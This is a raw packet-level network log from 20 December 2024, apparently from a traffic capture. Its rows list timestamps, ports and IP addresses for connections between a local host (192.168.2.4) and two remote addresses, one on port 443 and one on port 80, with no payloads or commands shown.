Dec 20, 2024 11:12:47.241195917 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.241208076 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.241470098 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.243235111 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.243457079 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.243488073 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.272991896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.273046970 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.345748901 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.345819950 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.345885038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.346084118 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.348171949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.348218918 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.348318100 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.348490000 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.353146076 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.353185892 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.353192091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.353230000 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.357820988 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.357875109 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.357923985 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.357964039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.362814903 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.362864971 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.362907887 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.362962961 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.367789984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.367856026 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.368536949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.368585110 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.372473955 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.372627974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.372648001 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.372725964 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.377265930 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.377317905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.377321005 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.377511978 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.382214069 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.382231951 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.382282019 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.386738062 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.386785984 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.386847973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.386904001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.391463995 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.391509056 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.391509056 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.391596079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.396218061 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.396246910 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.396312952 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.396313906 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.401146889 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.401186943 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.401587963 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.401640892 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.405699968 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.405749083 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.405807972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.405853033 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.409713030 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.409806967 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.409837008 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.409852028 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.413674116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.413723946 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.413795948 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.413857937 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.417664051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.417737961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.417748928 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.417865038 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.421922922 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.421993017 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.422261953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.422308922 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.425649881 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.425697088 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.425734997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.425806999 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.430377007 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.430432081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.430496931 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.430546045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.434377909 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.434396029 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.434472084 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.434525967 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.539077044 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.539099932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.539150953 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.539181948 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.540246964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.540265083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.540292978 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.540313005 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.543245077 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.543291092 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.543405056 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.543443918 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.546253920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.546300888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.546406031 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.546945095 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.549464941 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.549515009 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.549662113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.549729109 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.551417112 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.551470041 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.551486015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.551529884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.555135965 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.555152893 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.555196047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.557755947 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.557899952 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.557917118 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.558053970 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.560399055 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.560452938 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.560551882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.560638905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.563220978 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.563272953 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.563373089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.563455105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.565954924 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.565972090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.566025972 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.568649054 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.568706036 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.568789959 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.568906069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.571341038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.571389914 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.571496964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.571541071 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.574044943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.574060917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.574103117 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.576594114 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.576643944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.576719046 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.576764107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.579404116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.579457045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.579550028 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.579643011 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.581983089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.582000017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.582051039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.584027052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.584083080 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.584096909 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.584140062 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.586757898 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.586783886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.586818933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.586818933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.589431047 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.589483023 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.589488029 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.589524984 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.592111111 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.592153072 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.592195988 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.592256069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.594923019 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.594938993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.594978094 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.594991922 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.597476006 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.597529888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.597588062 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.597630024 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.600141048 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.600194931 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.600241899 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.600289106 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.602896929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.603022099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.603055954 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.603079081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.605539083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.605591059 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.605724096 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.605773926 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.608227015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.608273029 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.608367920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.608412981 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.610877037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.610937119 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.611007929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.611145020 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.613640070 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.613682032 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.613717079 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.614099979 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.616321087 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.616372108 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.730324984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.730453968 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.730525970 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.731353998 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.731472015 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.731877089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.731903076 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.731931925 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.731965065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.734078884 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.734142065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.734157085 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.734224081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.736331940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.736398935 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.736501932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.736552000 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.738668919 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.738734961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.738759041 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.738810062 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.740871906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.740889072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.740950108 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.742943048 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.742997885 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.743000984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.743191004 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.745052099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.745115042 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.745186090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.745239973 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.747335911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.747386932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.747400045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.747464895 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.749439955 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.749501944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.749531984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.749588966 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.751578093 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.751633883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.751698971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.751753092 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.753765106 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.753834009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.753871918 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.753906012 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.755903006 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.755963087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.756038904 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.756093025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.758066893 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.758127928 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.758166075 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.758316994 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.760278940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.760435104 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.760495901 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.762463093 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.762480974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.762525082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.762557983 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.764651060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.764667988 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.764733076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.766762972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.766778946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.766838074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.766871929 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.768903971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.768959999 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.769009113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.769071102 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.771049976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.771117926 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.771158934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.771219015 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.773304939 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.773329020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.773376942 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.773407936 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.775410891 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.775491953 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.775540113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.775604010 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.777581930 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.777637959 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.777858973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.777945042 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.779750109 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.779830933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.779860020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.779927969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.781862020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.781929016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.782124996 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.782322884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.784109116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.784184933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.784200907 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.784239054 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.786236048 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.786307096 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.786464930 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.786518097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.788460016 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.788528919 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.788590908 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.788640022 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.790822983 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.790838957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.790891886 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.790925026 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.792774916 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.792844057 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.792892933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.793028116 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.794909954 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.794969082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.794994116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.795114040 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.797122955 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.797149897 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.797172070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.797193050 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.799268007 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.799367905 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.799415112 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.801538944 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.801595926 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.801652908 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.803602934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.803659916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.803708076 CET	80	49866	185.215.113.16	192.168.2.4
